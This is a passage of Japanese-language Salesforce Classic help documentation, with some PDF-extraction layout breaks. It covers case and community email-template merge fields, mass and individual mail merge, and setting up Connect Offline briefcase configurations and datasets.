ケースソリューションの添付ファイル。Case.Solution_Attachmentsソリュー
ション添付
ファイル

ケースに関連付けられたソリューション
の詳細。ケースに複数のソリューション

Case.Solution_Descriptionソリュー
ション 説
明 が関連付けられている場合、各ソリュー

ションの説明がリストに表示されます。
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説明差し込み項目項目

ケースに関連付けられたソリューションのタイトル。ケー
スに複数のソリューションが関連付けられている場合、
各ソリューションのタイトルがリストに表示されます。

Case.Solution_Subjectソリューション
の件名

ケースに関連付けられたソリューションのタイトルと詳
細。ケースに複数のソリューションが関連付けられてい

Case.Solution_Subject_and_Descriptionソリューション
の件名と説明

る場合、各ソリューションのタイトルと説明がリストに
表示されます。

顧客の問題解決に役立つ可能性がある各推奨ソリューショ
ンの件名および説明へのリンク。

Case.Suggested_Solutions推奨ソリュー
ション

メモ: 推奨ソリューションの差し込み項目を含むテ
ンプレートを使用してメールを一括送信すると、数
分かかる可能性があるためお勧めしません。

メール-to-ケースのケースメールの一意の識別子。スレッ
ド ID は、各ケースメールを識別する

Case.Thread_Idケーススレッド
Id

[ref:_DV0Txx._500V0U9YB:ref] などの一意の ID です。デフォル
トでは、ケースメールの件名と内容の両方にスレッド ID

が追加されます。スレッド ID のデフォルトの位置は、本
文の末尾です。スレッド ID を本文の他の場所に配置する
には、この差し込み項目を使用します。

ケースの差し込み項目に関する注意事項
ケースのエンタイトルメントの差し込み項目

ケースのエンタイトルメントの差し込み項目はサポートされていません。たとえば、[エンタイトルメント
名 {!Case.Entitlement}] 差し込み項目をメールテンプレートに追加する場合でも、テンプレートに項
目は投入されません。

メール-to-ケースまたはオンデマンドメール-to-ケースの差し込み項目
メール-to-ケースまたはオンデマンドメール-to-ケースを有効化している場合、サポートエージェントがケー
スのメールに返信するために使用できるメールテンプレートを作成できます。これらのテンプレートには、
返信元のメールの情報を表示する差し込み項目を入れることができます。「メールテンプレートの管理」
(ページ 1898)を参照してください。

Web-to-ケースの差し込み項目
Web-to-ケースを使用してオンラインでケースを登録した顧客の氏名、メール、電話または会社名を参照す
るには、関連する {!Case_OnlineCustomer...} 項目を使用します。ケースに関連する取引先責任者ま
たは取引先を参照するには、関連する取引先責任者または取引先の差し込み項目を使用します。
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コミュニティの差し込み項目

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

差し込み項目をコミュニティのメールテンプレートに追加できます。
組織で Salesforce Communities を有効にすると、次の 3 つのテキストベースのメー
ルテンプレートが作成されます。
• コミュニティ: パスワード変更メール
• コミュニティ: パスワードを忘れた場合のメール
• コミュニティ: 新規メンバーお知らせメール
これらのテンプレートでは、一意の差し込み項目が使用されます。これらの差
し込み項目は、テンプレートの編集時に選択およびコピーすることはできませ
んが、手動で入力することはできます。これらの差し込み項目は、コミュニティ
に対して選択したテキストまたは HTML テンプレートで使用する場合にのみ正し
く動作します。

説明項目名

コミュニティの作成時に入力したコミュニティ名。{!Community_Name}

コミュニティのログインページの URL。
https://acme.force.com/partners/login など。
この差し込み項目は、新しい外部ユーザに送信される
お知らせメールに含まれ、パスワードのリセットペー
ジへのリンクに URL が追加されます。

{!Community_Url}

この項目は、次のいずれかの場合にのみ入力されま
す。
• この項目を含むテンプレートが、コミュニティの

[新規メンバーのお知らせ] テンプレートとして選
択され、[お知らせメールを送信] が選択されてい
る。

• この項目を含むテンプレートが、[パスワードを忘
れた場合] または [パスワードの変更] テンプレート
として選択され、メールを受信するユーザがコミュ
ニティメンバーである外部ユーザである。

お知らせメールを受信するユーザのユーザ名。{!Receiving_User.Username}

Visualforce を使用して、コミュニティのカスタムメールテンプレートを作成できます、この場合、メールテン
プレートにカスタムの企業ブランド設定を使用できます。Visualforce メールテンプレートの場合は、次の表に
示すとおり、$Network グローバル差し込み項目種別とそのプロパティを使用します。

説明項目名

コミュニティの作成時に入力したコミュニティ名。$Network.Name
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説明項目名

コミュニティのログインページの URL。
https://acme.force.com/partners/login など。
この差し込み項目は、新しい外部ユーザに送信される
お知らせメールに含まれ、パスワードのリセットペー
ジへのリンクに URL が追加されます。

$Network.NetworkUrlForUserEmails

この項目は、コミュニティでサポートされている 3 つ
のメール種別のいずれかのVisualforceメールテンプレー
トで使用される場合にのみ入力されます。

コミュニティでケース、承認、またはワークフローを使用している場合、{!<any_object>.Link} または
{!Case.Link} 差し込み項目を使用するメールテンプレートから作成されたメールには、コミュニティのレ
コードへのリンクが含まれます。メールを受信するユーザが複数の有効なコミュニティのメンバーである場
合、このリンクは最も古い有効なコミュニティに移動します。ユーザがすでにコミュニティにログインしてい
て、メールのリンクをクリックすると、このリンクはそのコミュニティに移動します。ユーザがコミュニティ
のメンバーではない場合、このリンクは内部組織に移動します。ユーザがポータルおよびコミュニティのメン
バーである場合、このリンクはそのコミュニティに移動します。

説明項目名

使用場所{!Case.Link}

• 取引先責任者および所有者へのケースコメント通
知

• 取引先責任者へのケースの作成および更新通知

使用場所{!<any_object>.Link}

• 承認者および代理承認者に送信される承認申請
• ワークフローメールアラート

メールテンプレートがこれらの差し込み項目を使用しているかどうかを確認するには、[設定] の [クイック検
索] ボックスに「メールテンプレート」と入力し、[メールテンプレート] を選択してから、メールテンプレー
トの横にある [編集] をクリックします。

関連トピック:

コミュニティから送信されるメールのカスタマイズ
メールテンプレートの管理
コミュニティから送信されるメールのカスタマイズ
メールテンプレートの管理
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拡張差し込み印刷を使用した一括差し込み印刷ドキュメントの生成
エディション

この機能は、Salesforce
Classic で使用可能です。

使用可能なエディション:
すべてのエディション

ユーザ権限

一括差し込み印刷ドキュ
メントを生成する
• 「公開ドキュメントの

管理」

メモ: 拡張差し込み印刷機能を使用して、差し込み印刷ドキュメントを生
成できます。拡張差し込み印刷機能は、お客様からのリクエストにより提
供いたします。この機能をご希望の場合は、Salesforce カスタマーサポート
にお問い合わせください。
また、拡張差し込み印刷を使用するには、まずシステム管理者が機能を有
効にする必要があります。

拡張差し込み印刷によって、定型レターと、それに合った封筒や宛名ラベルな
ど、一度に複数のレコードに適用できる差し込み印刷用 Microsoft® Word ドキュメ
ントを簡単に作成できます。
1. [取引先]、[取引先責任者]、または [リード] タブをクリックします。その他の

レコードは現在サポートされていません。
2. [ツール] エリアで[一括差し込み印刷]をクリックして、一括差し込み印刷ウィ

ザードを起動します。
3. [表示] ドロップダウンリストから該当するリストビューを選択します。
4. 差し込み印刷に含めるレコードを選択します。ページに現在表示されているレコードをすべて選択するに

は、列のヘッダーにあるチェックボックスをオンにします。
5. [次へ] をクリックします。
6. 作成する Word ドキュメントの種別を選択します。サポートされているドキュメントの種別は、ドキュメン

ト、封筒、および宛名ラベルです。
7. 各レコードで完了した ToDo を追加して、これらの差し込み印刷ドキュメントの作成をログに記録するに

は、[差し込み印刷ドキュメントを...] チェックボックスをオンにします。
8. [次へ] をクリックします。
9. 該当する差し込み印刷テンプレートを選択します。

ドキュメントの場合は、すべての出力内容を含む単一の Word ドキュメントを作成するか、レコードごとに
個別の Word ドキュメントを作成するか選択します。

10. 必要に応じて、[テンプレートをプレビュー] をクリックし、Word ドキュメントをプレビューします。プレ
ビューでは、差し込み項目は表示されますが、データは表示されません。開いた Word ドキュメントは編集
できますが、変更内容は現在の差し込み印刷要求には適用されません。新たに改訂されたテンプレートを
差し込み印刷で使用できるようにするには、まずアップロードする必要があります。

11. [完了] をクリックします。

メモ: 要求が拡張差し込み印刷の最大サイズの制限を超えると、レコード数を少なくするか、サイズ
の小さい差し込み印刷テンプレートを選択するようメッセージが表示されます。

作成したドキュメントの準備ができたら、Salesforceはメールを送信します。差し込み印刷ドキュメントは、次
の条件で処理が異なります。
• 3 MB 未満の場合、Salesforce では、ドキュメントが Word ドキュメント (.doc) または Zip ファイル (.zip) の添

付ファイルとしてメール送信されます。添付ファイルのサイズが組織のメールの添付ファイルの最大サイ
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ズを超えるか、システム管理者がすべての差し込み印刷ドキュメントを [ドキュメント] タブに保存するよ
うに設定していた場合、Salesforce では、生成されたドキュメントが [ドキュメント] タブに自動的に保存さ
れます。その場合、ドキュメントの保存場所へのリンクが記載されたメールがユーザに送信されます。

• 3 MB を超える場合、Salesforce では、それらは [ドキュメント] タブの個人ドキュメントフォルダに保存され
ます。

差し込み印刷の考慮事項
拡張差し込み印刷は、その他の環境として、Mozilla Firefox Web ブラウザと Apple Mac OS もサポートしています。
さらに、ActiveX コントロールをインストールする必要がありません。
拡張差し込み印刷は、Microsoft Word 2007 をサポートしています。
• 拡張差し込み印刷は、.docx または .dotx ファイル形式で保存されたテンプレートをサポートしていま

せん。
• 差し込み印刷ドキュメントを使用する場合、ページレイアウト設定と項目レベルセキュリティ設定でアク

セスを許可されている項目のみにアクセスできます。
• 拡張差し込み印刷は、リッチテキストエリア項目のフォーマットはサポートしていません。
• レコード詳細ページから差し込み印刷を使用すると、そのレコードの標準ワークフロールールと入力規則

が自動的に起動します。ただし、拡張差し込み印刷を使用すると、これらの規則は起動されません。
• 拡張差し込み印刷で、差し込み印刷処理に次の制限が追加されます。

– 1,000 レコードまで
– 選択した差し込み印刷テンプレートの合計サイズが 1 MB 未満
– 一括差し込み印刷で、選択したレコードの数と選択した差し込み印刷テンプレートの合計サイズの積が

50 MB 未満
• 差し込み印刷ドキュメントをプレビューしても、テンプレートしか表示されません。[テンプレートをプレ

ビュー] ではレコード詳細を利用できないため、プレビューでは差し込み項目にデータが入力されません。

関連トピック:

差し込み印刷
個別差し込み印刷ドキュメントの送信

個別差し込み印刷ドキュメントの送信
エディション

この機能は、Salesforce
Classic で使用可能です。

使用可能なエディション:
すべてのエディション

サポートされているオブジェクトの項目を使用して差し込み印刷ドキュメント
を作成します。

重要: Salesforceでは、TLS 1.0 の無効化に伴い、標準差し込み印刷のサポート
を終了します。この変更により、営業担当は Microsoft® Word で差し込み印刷
ドキュメントを生成できなくなります。営業担当が機能を使用できたとし
ても、Salesforce は問題が発生した場合のサポートやメンテナンスは提供し
ません。ただし、ご安心ください。拡張差し込み印刷に移行することで、
Salesforce データを使用した差し込み印刷を引き続き実行できます。
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1. 該当するレコードの [活動履歴] 関連リストにある [差し込み印刷] をクリックします。取引先、取引先責任
者、リード、ケース、商談、およびカスタムオブジェクトがサポートされています。

2. ルックアップを使用して、情報の差し込み元となるレコードを指定します。
3. 差し込み印刷テンプレートを選択します。
4. [作成] をクリックします。

カスタムオブジェクトが、商談との間に主従関係を持っている場合は、その商談の主取引先責任者がデフォ
ルトで選択されます。

5. Salesforce は次にドキュメントを生成します。
• 組織が標準差し込み印刷を使用している場合は、Word が起動されて、作成したドキュメントが表示され

ます。ドキュメントが表示されたら、[ファイル] メニューの [別名で保存] をクリックして、ドキュメン
トをハードディスクドライブに保存します。

• 組織が拡張差し込み印刷を使用し、要求が最大サイズの制限を超えると、サイズの小さい差し込み印刷
テンプレートを使用するようメッセージが表示されます。拡張差し込み印刷では、[作成]をクリックし
ても Word は起動されません。代わりに、Salesforce はメールを送信し、そのメールには、作成した Word

ドキュメントが添付されるか、[ドキュメント] タブに保存したドキュメントへのリンクが記載されま
す。

6. 差し込み印刷の活動を記録するように選択した場合は、ToDo の情報を入力します。フォローアップの ToDo

を作成することもできます。
差し込み印刷の ToDo の [件名] には、デフォルトで差し込み印刷テンプレート名が設定され、差し込み印
刷の ToDo は、[活動履歴] 関連リストに完了した活動として表示されます。データが差し込まれたドキュメ
ントは、ToDo と共には保存されません。

7. ドキュメントを印刷したり、メールの添付ファイルとして送信します。

差し込み印刷の考慮事項
拡張差し込み印刷は、その他の環境として、Mozilla Firefox Web ブラウザと Apple Mac OS もサポートしています。
さらに、ActiveX コントロールをインストールする必要がありません。
拡張差し込み印刷は、Microsoft Word 2007 をサポートしています。
• 拡張差し込み印刷は、.docx または .dotx ファイル形式で保存されたテンプレートをサポートしていま

せん。
• 差し込み印刷ドキュメントを使用する場合、ページレイアウト設定と項目レベルセキュリティ設定でアク

セスを許可されている項目のみにアクセスできます。
• 拡張差し込み印刷は、リッチテキストエリア項目のフォーマットはサポートしていません。
• レコード詳細ページから差し込み印刷を使用すると、そのレコードの標準ワークフロールールと入力規則

が自動的に起動します。ただし、拡張差し込み印刷を使用すると、これらの規則は起動されません。
• 拡張差し込み印刷で、差し込み印刷処理に次の制限が追加されます。

– 1,000 レコードまで
– 選択した差し込み印刷テンプレートの合計サイズが 1 MB 未満
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– 一括差し込み印刷で、選択したレコードの数と選択した差し込み印刷テンプレートの合計サイズの積が
50 MB 未満

• 差し込み印刷ドキュメントをプレビューしても、テンプレートしか表示されません。[テンプレートをプレ
ビュー] ではレコード詳細を利用できないため、プレビューでは差し込み項目にデータが入力されません。

関連トピック:

差し込み印刷
拡張差し込み印刷を使用した一括差し込み印刷ドキュメントの生成

Connect Offline

Force.com Connect Offline

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Force.com Connect Offline を使用して、場所や時間に制約されることなく、完全な
オフライン状態で、重要な取引先の処理を実行します。
Connect Offline は、オンラインシステムと同じブラウザベースのインターフェー
スを使用しますが、インターネット接続せずに Salesforce レコードのサブセット
にアクセスできるようにするクライアントアプリケーションです。Connect Offline

を使用して、取引先、活動、取引先責任者、商談、リード、カスタムオブジェ
クトレコード (リレーショングループなど) を表示、作成、および削除します。
商談に商品やスケジュールを追加したり、商談の商品やスケジュールを更新す
ることもできます。
Connect OfflineでアクセスできるSalesforceレコードのサブセットは、ブリーフケー
スとして参照されます。管理者はブリーフケース設定を作成できます。この設
定は、特定のプロファイルを持つユーザのブリーフケースで使用可能なレコードを決定するパラメータのセッ
トです。複数のオフラインユーザのさまざまなニーズを同時に満たせるように、組織で複数のブリーフケース
設定を持ち、それぞれを異なるプロファイルセットに関連付けることができます。たとえば、ある設定では
ユーザのブリーフケースのリードと商談を、営業担当プロファイルを持つユーザのブリーフケースと同期さ
せ、別の設定ではユーザのブリーフケースの取引先と関連する商談を、アカウントエグゼクティブプロファイ
ルを持つユーザのブリーフケースと同期させることができます。ブリーフケース設定が割り当てられていない
ユーザは、独自のConnect Offlineブリーフケースの設定を作成し、ブリーフケースに含める取引先を手動で選択
することができます。
オンラインの場合、ユーザは自分の Connect Offline ブリーフケースと Salesforce とを同期することができます。
同期中、ブリーフケース内のレコードへの変更はSalesforceにも適用され、その逆も行われます。このようにし
て、SalesforceとConnect Offlineの両方が最新のレコードが含まれるようになります。ブリーフケース内のレコー
ドの更新内容が、Salesforceでのレコードの更新内容と競合する場合、Connect Offlineには競合の解決ツールが表
示され、ユーザは簡単に競合を解決できます。
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Connect Offline をすぐに使い始めるには、Salesforce にログインし、Connect Offline クライアントアプリケーション
をインストールします。

関連トピック:

Connect Offline のインストール
デフォルトの Connect Offline ブリーフケースの中身とは?

Connect Offline へのログイン
Connect Offline で使用可能なタブ

Connect Offline へのログイン

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

必要なユーザ権限

Connect Offline でレコード
を参照する
• 取引先や取引先責任

者、商談など、該当す
るレコードタイプに対
する「参照」

Connect Offline でレコード
を更新する
• 取引先や取引先責任

者、商談など、該当す
るレコードタイプに対
する「作成」、「編
集」または「削除」

1. 使用しているコンピュータから [開始] > [プログラム] > [salesforce.com] > [Connect

Offline] をクリックするか、[Connect Offline] デスクトップアイコンをダブルク
リックします。

重要: Connect Offline に初めてログインするときには、インターネットに
接続する必要があります。

2. Salesforce のユーザ名とパスワードを入力します。

メモ: 組織で IP アドレスを制限している場合、信頼されない IP からのロ
グインはアクティベーションを行うまでブロックされます。Salesforceに
より自動でアクティベーションメールが送信され、ユーザはそれを使用
してログインできます。このメールには、パスワードの末尾に追加する
必要のあるセキュリティトークンが記載されています。たとえば、パス
ワードが mypassword で、セキュリティトークンが XXXXXXXXXX であ
る場合、ログインするには mypasswordXXXXXXXXXXと入力する必要が
あります。

3. Connect Offline で、このオプションを前回選択して以降、Salesforce の項目、オ
ブジェクト、およびタブの名前に対する変更があった場合、それを反映させ
るには [タブの名称を更新] チェックボックスをオンにします。

メモ: Salesforce では、初めてログインしたときに自動的にタブを更新し
ます。

4. [私のデータを同期] チェックボックスをオンにすると、Connect Offlineブリー
フケースと Salesforce とが同期されます。

5. [ログイン] をクリックします。
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ブリーフケース設定

Connect Offline ブリーフケース設定の管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Connect Offline ブリーフ
ケース設定を参照する
• 「設定・定義を参照す

る」

Connect Offline ブリーフ
ケース設定を作成、変
更、または削除する
• 「モバイル設定の管

理」

Connect Offline ブリーフケース設定は、個々のユーザおよび特定のプロファイル
を持つユーザのブリーフケースで使用可能なレコードを決定するパラメータの
セットです。複数のオフラインユーザのさまざまなニーズを同時に満たせるよ
うに、複数のブリーフケース設定を作成し、それぞれを異なるユーザとプロファ
イルに関連付けることができます。たとえば、ある設定では営業担当のリード
と商談を含め、別の設定ではアカウントエグゼクティブの取引先および関連す
る商談を含めることができます。
ブリーフケース設定が割り当てられていないユーザには、デフォルトのブリー
フケースの中身が表示されます。また、そのようなユーザは、独自の Connect

Offlineブリーフケースを手動で設定できます。ただし、ブリーフケース設定には
次の機能があるため、Salesforce は、ユーザが独自のオフラインブリーフケース
を手動で設定できるようにするのではなく、ブリーフケース設定を使用するこ
とをお勧めします。
• 設定の一元管理
• 個人のブリーフケース設定では取引先、取引先責任者、商談、またはリード

に関連するカスタムオブジェクトしかサポートしないのに対し、任意のカス
タムオブジェクトとの同期が可能

• 高い柔軟性と条件検索機能を備えたデータセット定義の機能
組織のブリーフケース設定を管理するには、[設定] から [クイック検索] ボック
スに「オフラインブリーフケース設定」と入力し、[オフラインブリーフケース設
定] を選択します。
• ブリーフケース設定を作成するには、[新規オフラインブリーフケース設定]

をクリックします。
• オフラインブリーフケース設定のデータセットを定義するには、ブリーフケース設定の名前をクリックし

てから、[データセット] 関連リストの [編集] をクリックします。
• ブリーフケース設定に変更を加えるには、[編集] をクリックします。
• ブリーフケース設定を削除するには、[削除] をクリックします。
• ブリーフケース設定の詳細を表示するには、その名前をクリックします。
• ブリーフケース設定をコピーするには、コピーする設定を選択し、[コピー] をクリックします。
• ブリーフケース設定を有効にするには、有効にする設定の横にある [編集]をクリックし、[有効]を選択し

て、[保存] をクリックします。
• ブリーフケース設定を無効にするには、有効にする設定の横にある [編集]をクリックし、[有効]の選択を

解除して、[保存] をクリックします。
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重要: アクティブなブリーフケース設定を無効化すると、その設定に割り当てられているユーザはブ
リーフケースを同期できなくなります。

関連トピック:

デフォルトの Connect Offline ブリーフケースの中身とは?

オフラインブリーフケース設定の作成

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ブリーフケース設定を作
成、変更、または削除す
る
• 「モバイル設定の管

理」

1. [設定] から、[クイック検索]ボックスに「オフラインブリーフケース設定」と
入力し、[オフラインブリーフケース設定] を選択して、ブリーフケース設定
リストページにアクセスします。

2. [新規オフラインブリーフケース設定] をクリックします。
3. ブリーフケース設定の名前を入力します。
4. ブリーフケース設定を作成してすぐ有効にする場合は、[有効]チェックボッ

クスをオンにします。設定は、このチェックボックスをオンにするまでは機
能しません。

5. ブリーフケース設定の説明を入力します。
6. [選択可能なユーザ] ボックスからユーザとプロファイルを選択し、[追加] 矢

印をクリックすると、ブリーフケース設定に割り当てられます。追加する
ユーザまたはプロファイルがすぐに見つからない場合は、検索ボックスにプ
ロファイル名を入力し、[検索] をクリックします。各ユーザまたはプロファ
イルを割り当てることのできるブリーフケース設定は 1 つだけです。
[割り当てられたユーザ]ボックスに、このブリーフケース設定には割り当て
ないユーザとプロファイルがある場合、そのユーザとプロファイルを選択し
て、[削除] 矢印をクリックします。

警告: 有効なブリーフケース設定からユーザまたはプロファイルを削除すると、それ以降、そのユー
ザはその設定に対してブリーフケースを同期できなくなります。次回ユーザが同期を実行するとき、
Connect Offline はデフォルトのブリーフケースの中身でブリーフケースを同期します。

プロファイルをブリーフケース設定に割り当てるとき、設定はそのプロファイルを持つすべての Connect

Offline ユーザに適用され、ユーザ個人のブリーフケース設定は上書きされます。
7. [保存] をクリックします。
8. また、このオフラインブリーフケース設定用のデータセットを作成し、その設定のユーザがブリーフケー

スで受信するデータを決定する必要があります。
[有効] チェックボックスをオンにするまでは、オフラインブリーフケース設定は有効になりません。また、
このブリーフケース設定用のデータセットを作成し、この設定を使用するユーザがConnect Offlineでアクセスで
きるレコードを決定する必要があります。

関連トピック:

Connect Offline ブリーフケース設定の管理
デフォルトの Connect Offline ブリーフケースの中身とは?
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Connect Offline データセットの定義

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Connect Offline データセッ
トを参照する
• 「設定・定義を参照す

る」

Connect Offline データセッ
トを作成、変更、または
削除する
• 「モバイル設定の管

理」

ブリーフケース設定を作成した後、そのデータセットを定義して、そのブリー
フケース設定がユーザのプロファイルに割り当てられたときに、ユーザがConnect

Offline でアクセスできるレコードを指定します。
データセットは、ブリーフケース設定におけるパラメータで、そのブリーフケー
ス設定に割り当てられたユーザのブリーフケースに表示されるレコードを決定
します。各データセットは、1 つのオブジェクトの複数のレコードに関連し、そ
のオブジェクトの名前で分類されます。たとえば、取引先データセットには、
取引先レコードが含まれます。各データセット内の条件と制限によって、その
データセットに含まれるレコードをさらに制限できます。
データセットには、最上位のデータセット (親データセット) に関連する下位の
レコードのデータセット (子データセット) を含めることができます。たとえば、
階層の最初のレベルに [取引先] データセットを指定し、その取引先レコードに
関連するすべての取引先責任者レコードを含む [取引先責任者] のデータセット
を下位に追加することができます。
1 つのブリーフケース設定内に、同じオブジェクトに対し複数のデータセットを
異なるレベルで含めることができます。たとえば、[リード] の下位に [行動] の
データセットを設定したり [行動] の下位に [リード] のデータセットを持つこと
ができます。
ブリーフケース設定のデータセットを定義する手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「オフラインブリーフケース設定」と

入力し、[オフラインブリーフケース設定] を選択します。
2. 変更するブリーフケース設定の名前をクリックします。
3. [データセット] 関連リストで、[編集] をクリックします。
4. [データセット] ページから、次の操作が可能です。

• データセットを追加する。
• データセットを選択して [削除] をクリックし、データセットを削除する。
• 階層内でデータセットを選択し、データセットを編集する。右ペインには、そのデータセットの検索条

件が表示されます。
データセット定義の変更内容は、ページを遷移しない限り Salesforce が自動的に保持します。

5. [テストデータサイズ] セクションで、ユーザを選択して [データサイズの見積り] をクリックし、ユーザの
ブリーフケースと同期するデータセットのデータ量を見積ます。データセットが大きくなるほど、同期に
は時間がかかり、ユーザのコンピュータのディスク容量も消費します。

メモ: [ユーザの選択] 項目のデフォルト値は、現在ログインしているユーザの名前になっています。
ただし、データサイズのテストは、データセットを定義しているブリーフケース設定に実際に割り当
てられることになるユーザに対して行うことが重要です。

テストが完了すると、[テストデータサイズ] セクションには、データセットサイズの概要が示され、ペー
ジ上部のデータセット階層には、各データセットが生成するレコード数と、各データセットのサイズが表
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示されます。こうした統計を使用して、検索条件を追加してサイズを縮小する必要がありそうなデータセッ
トを特定します。
[テストデータサイズ] セクションのテスト統計は、データセットを編集しても自動的には更新されません。
テスト結果を更新するには、[データサイズの更新] をクリックします。

6. 終了後、[完了] をクリックします。

データセットの追加
データセットを追加する手順は、次のとおりです。
1. 階層内で、[データセット]を選択して親データセットを作成するか、既存のデータセットを選択して子デー

タセットを作成します。
2. [追加...] をクリックします。
3. ポップアップウィンドウで、そのデータセットに含めるレコードのオブジェクトを選択します。Salesforce

では、すべてのカスタムオブジェクトと次の標準オブジェクトに対して、親データセットを作成できます。
• 取引先
• 取引先責任者
• 行動
• リード
• 商談
• 商品
• ToDo

• ユーザ
子データセットを追加する場合、選択した親データセットに関連するオブジェクトのみをポップアップウィ
ンドウにリストします。

メモ: Salesforce では、親データセットと他のオブジェクトの子データセットの両方で同じオブジェク
トを指定している場合、子データセットで指定している条件を満たしていなくても、親データセット
の条件に当てはまるレコードを転送します。

4. [OK] をクリックします。作成したデータセットが階層内に表示されます。
5. 必要に応じて、条件を設定して、親または子のデータセットに含まれるレコードを制限します。

a. [所有者別に絞り込み] オプションを使用して、Salesforce がレコードの所有者に基づいて自動的にレコー
ドの同期を行うように設定します。使用可能な選択肢は次のとおりです。
• すべてのレコード: Salesforce は、ユーザがアクセスできるすべてのレコードを自動的に同期します。
• ユーザのレコード: Salesforce は、ユーザが所有するすべてのレコードを自動的に同期します。
• ユーザのチームのレコード: Salesforceは、ユーザとロール階層内でそのユーザの下位にあるユーザが所

有するすべてのレコードを自動的に同期します。
• ユーザの取引先チームのレコード: Salesforceは、そのユーザが取引先チームのメンバーである取引先を

自動的に同期しますが、そのユーザが所有する取引先は含まれません。
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• ユーザの商談チームのレコード: Salesforceは、そのユーザが商談チームのメンバーである商談を自動的
に同期しますが、そのユーザが所有する商談は含まれません。

• なし (検索のみ): Salesforce は、このデータセットのどのレコードも自動的には同期しません。
Salesforceは、選択したデータセットに関連するオプションのみを表示します。たとえば、取引先データ
セットを選択すると、[ユーザの取引先チームのレコード] オプションが表示され、商談データセットを
選択すると、[ユーザの商談チームのレコード] オプションが表示されます。
あるオブジェクトをオフラインで使用するにあたり、使用可能なレコードの所有者条件を組み合わせる
必要がある場合、同じオブジェクトデータセットを同じ階層レベルに最大 4 回まで追加できます。たと
えば、ある営業マネージャが、自分の商談、自分の部下が所有する商談、および自分が商談チームメン
バーである商談を同期するとします。この場合は、商談データセットを追加して、[ユーザのチームのレ
コード]を選択します。次に、2 番目の商談データセットをその階層の同一レベルで選択し、[ユーザの
商談チームのレコード] を選択します。所有者条件オプションが 1 つしかないオブジェクトは、階層の
同一レベルで複数回追加することはできません。

b. [所有者別に絞り込み] で選択した条件に加えて、特定の条件にも一致するレコードだけを自動的に同期
するよう設定します。たとえば、条件は、金額が $50,000 を超える商談レコード、または、役職が「ディ
レクター」の取引先責任者レコードだけを含むように設定できます。オフライン設定検索条件で、$User

グローバル変数の一部を使用できます。
各検索条件間のリレーションであるデフォルトの AND 条件を変更するには、[検索条件ロジックを追加]

をクリックします。

c. 1 つのデータセットによって大量のメモリを使い切ってしまうことのないよう、[レコードの上限数を設
定] で 2 番目のラジオボタンを選択し、このデータセットによりブリーフケースに転送できるレコード
の最大数を入力します。[並び替えの基準] および [並び替え] ドロップダウンリストを使用して、使用可
能なレコード数が設定した制限を超えた場合に同期されるレコードを指定します。
制限に達している場合、Salesforce は [並び替えの基準] と [並び替え] の設定に従ってレコードを同期しま
す。たとえば、設定が [最終更新日] の [降順] になっている場合、Salesforce は、最近変更されたレコード
を転送し、変更された日の古いものから同じ数だけのレコードを削除します。
[所有者別に絞り込み] オプションで [なし (検索のみ)] を選択した場合、自動的に同期されるレコード
がないため、設定した制限は適用されません。

ヒント: 検索条件の代わりに [レコードの上限数を設定] を使用しないでください。[レコードの上限
数を設定] は、安全確保のためにのみ使用し、検索条件はブリーフケース内のレコード数を制限す
ることを主目的として使用してください。それにより、Connect Offlineユーザはデバイスに適正なレ
コードを受信するようになります。

6. 終了後、[完了] をクリックします。

データセットに関するメモ
• Connect Offlineユーザはブリーフケースで取引先責任者の役割を参照できます。取引先責任者の役割をブリー

フケースに追加するには、取引先責任者データセットを商談データセットの子としてブリーフケース設定
に含めます。

• Connect Offline では、定期的な行動は使用できません。
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• 各データセットで、最大 5,000 件のレコードを同期することができます。
• データセットに対し、カスタムタブアイコンを持つカスタムオブジェクトを追加すると、カスタムタブの

デザインは Connect Offline の [星] タブスタイルになります。
• Connect Offline は、現在 Force.com アプリケーションメニューをサポートしていません。ブリーフケース設定

でカスタムオブジェクトを同期する場合、たとえ、そのオブジェクトが他のアプリケーションに属するも
のであっても、Connect Offline にログインすると、それらのカスタムオブジェクト用のすべてのタブが表示
されます。

関連トピック:

Connect Offline ブリーフケース設定の管理
オフラインデータセットのサンプル

Connect Offline ブリーフケースへの取引先の手動での追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

取引先を Connect Offline に
手動で追加する
• 取引先に対する「参

照」

システム管理者がプロファイルにブリーフケース設定を割り当てていない場合、
取引先詳細ページにある [オフラインで使用] ボタンをクリックして、Connect

Offline ブリーフケースに取引先を手動で追加します。
次回ブリーフケースを同期するとき、Salesforce では取引先を Connect Offline に移
行します。それと同時に、次のレコードも移行します。
• 取引先に関連するすべての取引先責任者 (取引先責任者に対する「参照」以

上のアクセス権がある場合)

• 取引先と関連付けられているすべての商談 (商談に対する「参照」以上のア
クセス権がある場合)。これには、自分が共有している商談、ロール階層にお
いて自分より下位のユーザが所有している商談、または自分が所属する商談
チームの商談が含まれます。ダウンロードした商談に追加されている商品と
スケジュールも含まれます。

• 取引先と主従関係にある、すべてのカスタムオブジェクト。
• 次のガイドラインに従った、移行に含まれ取引先に関連する行動および ToDo

– 日付が当月、過去 2 か月、または 24 か月先までの行動
– 24 か月先までのすべての進行中 ToDo

– 期日が当月、過去 2 か月、または 24 か月先までの完了した ToDo

– 当月または過去 2 か月以内に作成または変更された、期日が空白の ToDo

取引先は 100 件まで手動でブリーフケースに追加できます。

メモ: [オフラインで使用] ボタンは、ブリーフケース設定がないプロファイルに割り当てられたすべての
Connect Offlineユーザの取引先詳細ページに自動的に表示されます。[オフラインで使用]ボタンは、取引先
ページレイアウトに追加する必要はありません。

手動で追加した取引先の Connect Offline からの削除
